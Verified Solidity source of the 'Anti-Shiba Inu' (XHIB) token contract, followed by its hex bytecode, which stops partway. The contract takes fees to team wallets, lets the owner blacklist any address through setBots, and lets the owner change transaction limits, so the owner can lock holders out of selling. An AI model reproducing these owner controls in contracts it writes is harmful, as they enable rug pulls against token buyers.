/** *Submitted for verification at Etherscan.io on 2021-05-31 */ // Telegram: https://t.me/antishiba // SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract XHIB is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private bots; mapping (address => uint) private cooldown; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Anti-Shiba Inu"; string private constant _symbol = 'XHIB'; uint8 private constant _decimals = 9; uint256 private _taxFee = 2; uint256 private _teamFee = 8; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) public { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } if(from != address(this)){ require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 5000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610775565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610786565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085f565b005b34801561033357600080fd5b5061033c610982565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061098b565b005b34801561039e57600080fd5b506103a7610a70565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae2565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bcd565b005b34801561043157600080fd5b5061043a610d53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db9565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dd7565b005b34801561063857600080fd5b50610641610f27565b005b34801561064f57600080fd5b50610658610fa1565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b810190808035906020019092919050505061161e565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117cd565b6040518082815260200191505060405180910390f35b60606040518060400160405280600e81526020017f416e74692d536869626120496e75000000000000000000000000000000000000815250905090565b600061076b610764611854565b848461185c565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610793848484611a53565b6108548461079f611854565b61084f85604051806060016040528060288152602001613d4060289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610805611854565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122b29092919063ffffffff16565b61185c565b600190509392505050565b610867611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610927576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610993611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab1611854565b73ffffffffffffffffffffffffffffffffffffffff1614610ad157600080fd5b6000479050610adf81612372565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b7d57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bc8565b610bc5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246d565b90505b919050565b610bd5611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f5848494200000000000000000000000000000000000000000000000000000000815250905090565b6000610dcd610dc6611854565b8484611a53565b6001905092915050565b610ddf611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f2357600160076000848481518110610ebd57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ea2565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f68611854565b73ffffffffffffffffffffffffffffffffffffffff1614610f8857600080fd5b6000610f9330610ae2565b9050610f9e816124f1565b50565b610fa9611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611069576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061117c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061185c565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c257600080fd5b505afa1580156111d6573d6000803e3d6000fd5b505050506040513d60208110156111ec57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561125f57600080fd5b505afa158015611273573d6000803e3d6000fd5b505050506040513d602081101561128957600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561130357600080fd5b505af1158015611317573d6000803e3d6000fd5b505050506040513d602081101561132d57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c730610ae2565b6000806113d2610d53565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50505050506040513d606081101561148257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506001601360176101000a81548160ff021916908315150217905550674563918244f400006014819055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115df57600080fd5b505af11580156115f3573d6000803e3d6000fd5b505050506040513d602081101561160957600080fd5b81019080805190602001909291905050505050565b611626611854565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000811161175c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61178b606461177d83683635c9adc5dea000006127db90919063ffffffff16565b61286190919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118e2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613db66024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611968576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613cfd6022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611ad9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613d916025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613cb06023913960400191505060405180910390fd5b60008111611bb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613d686029913960400191505060405180910390fd5b611bc0610d53565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c2e5750611bfe610d53565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121ef57601360179054906101000a900460ff1615611e94573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611cb057503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611d0a5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d645750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e9357601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611daa611854565b73ffffffffffffffffffffffffffffffffffffffff161480611e205750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611e08611854565b73ffffffffffffffffffffffffffffffffffffffff16145b611e92576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611f8457601454811115611ed657600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f7a5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f8357600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561202f5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120855750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561209d5750601360179054906101000a900460ff165b156121355742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120ed57600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061214030610ae2565b9050601360159054906101000a900460ff161580156121ad5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121c55750601360169054906101000a900460ff165b156121ed576121d3816124f1565b600047905060008111156121eb576121ea47612372565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122965750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffff